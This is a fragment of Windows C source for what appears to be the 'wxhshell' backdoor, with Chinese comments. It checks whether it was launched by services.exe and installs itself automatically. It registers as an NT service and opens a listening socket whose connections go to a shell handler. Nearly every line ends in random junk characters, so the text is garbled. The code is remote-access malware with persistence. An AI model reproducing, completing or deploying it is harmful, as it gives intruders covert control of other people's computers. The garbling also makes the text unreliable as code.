ULONG InheritedFromUniqueProcessId; VLbbn
} PROCESS_BASIC_INFORMATION; `"#hhKG
B~YOU3
PROCNTQSIP NtQueryInformationProcess; wOEc~WOd
JL7;l0#
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {=MRJg!U
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #9HX"<5
Q-yNw0V}F
HANDLE hProcess; %@HuAcNi
PROCESS_BASIC_INFORMATION pbi; ?YF2Uc8z%2
g$JlpD&
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dleCh+ny?
if(NULL == hInst ) return 0; .OlPVMFt
1%";|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )E^Pn|H
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wVF
qkJ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *y|zF6
A,?6|g`q'
if (!NtQueryInformationProcess) return 0; {r#uD5NJ/
d@ ]N
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [<wpH0lNoy
if(!hProcess) return 0; *rYPjk6g[
/^WOrMR
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [|\#cVWs
KC8
CloseHandle(hProcess); Io{BO.K*Y
!L2!:_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 64Tb,AL_
if(hProcess==NULL) return 0; ?gMq:[XN
y-~_ W 6\
HMODULE hMod; m!3D5z]n9
char procName[255]; bicbCC6kC
unsigned long cbNeeded; 'oUTY *
Fx:4d$>;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <00=bZzX
S Erh"~[
CloseHandle(hProcess); ~G.MaSm
tY#Zl 54~{
if(strstr(procName,"services")) return 1; // 以服务启动 9!ARr@ ;
@h/-P'Lc=7
return 0; // 注册表启动 jrX`_Y
} wU"w
xWM?E1@
// 主模块 C(M ?$s`
int StartWxhshell(LPSTR lpCmdLine) `$vf 9'\+
{ S#T u/2<}
SOCKET wsl; {4)d
BOOL val=TRUE; 35:RsL
int port=0; .eyJ<b9
struct sockaddr_in door; wn\R|'Rdz
I6,||!sZ
if(wscfg.ws_autoins) Install(); >'jkL5l
>4os%T
port=atoi(lpCmdLine); ,V{Bpr
'-3K`[
if(port<=0) port=wscfg.ws_port; "6v_<t`q"
n$ E$@
WSADATA data; 3 Zwhv+CP[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _9?v?mL5;
5f2=`C0_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \+:`nz3m
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \ rKUPI\
door.sin_family = AF_INET; cg9*+]rc
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =)a%,H
door.sin_port = htons(port); q#\B}'I{
OjrZ6
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t3=K>Y@w
closesocket(wsl); NLUiNfCR
return 1; Iz>\qC}
} sn]D7Ae
QP>F *A
if(listen(wsl,2) == INVALID_SOCKET) { hf;S#.k
closesocket(wsl); +RnWeBXAT
return 1; XJk~bgO*
} _,igN>
Wxhshell(wsl); z0F55<i
WSACleanup(); nswhYSX
Bj\Us$cZ
return 0;
b`f6(6
lI@Z)~
} j,z)x[3}
7p>T6jK)
// 以NT服务方式启动 ,uO_C(G/i
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5xU}}[|~-
{ -
b`
DWORD status = 0; ft0tRv(s:
DWORD specificError = 0xfffffff; 5r dt
s!1/Bm|_T
serviceStatus.dwServiceType = SERVICE_WIN32; C'jCIL
serviceStatus.dwCurrentState = SERVICE_START_PENDING; LvU/,.$
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zvfdfQ-i
serviceStatus.dwWin32ExitCode = 0; e)3Mg^
serviceStatus.dwServiceSpecificExitCode = 0; 3K/]{ dkD
serviceStatus.dwCheckPoint = 0; /AYq^
serviceStatus.dwWaitHint = 0; k?/! `
z80*Ylx
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1f?Fuw
if (hServiceStatusHandle==0) return; kV3LFPf>0
$U(D*0+o/
status = GetLastError(); <TSps!(#
if (status!=NO_ERROR) lLK||2d
{ x}x )h3e
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4#I=n~8a
serviceStatus.dwCheckPoint = 0; `V.tqZF
serviceStatus.dwWaitHint = 0; ~bis!(}p-
serviceStatus.dwWin32ExitCode = status; PTTUI
serviceStatus.dwServiceSpecificExitCode = specificError; D7c+/H@PF
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n*G!=lMji
return; C[;7i!Dv
} {7v|\6@e3
zB\ 8<97C
serviceStatus.dwCurrentState = SERVICE_RUNNING; i?)bF!J
serviceStatus.dwCheckPoint = 0; D>`{f4Y
serviceStatus.dwWaitHint = 0; f<R
3ND)
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b>d]= u
} D hk$e
{3!A\OR
// 处理NT服务事件,比如:启动、停止 ;#*.@Or@Ah
VOID WINAPI NTServiceHandler(DWORD fdwControl) h645;sb0
{ L$ jii
switch(fdwControl) 0t*PQ%
{ 8-smL^~%#
case SERVICE_CONTROL_STOP: y;O
6q206
serviceStatus.dwWin32ExitCode = 0; 49Y:}<Yd
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7JY9#+?p>
serviceStatus.dwCheckPoint = 0; :JXcs39
serviceStatus.dwWaitHint = 0; 0|4R8Dh*-
{ j9cB<atL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g1B P
} U<'$ \P
return; 9yLPh/!Ob
case SERVICE_CONTROL_PAUSE: ?pA_/wwp
serviceStatus.dwCurrentState = SERVICE_PAUSED; e`5:46k|
break; =Hj3o_g-
case SERVICE_CONTROL_CONTINUE: -ilhC Y@M
serviceStatus.dwCurrentState = SERVICE_RUNNING; vJW`aN1<I3
break; 77 ?TRC
case SERVICE_CONTROL_INTERROGATE: <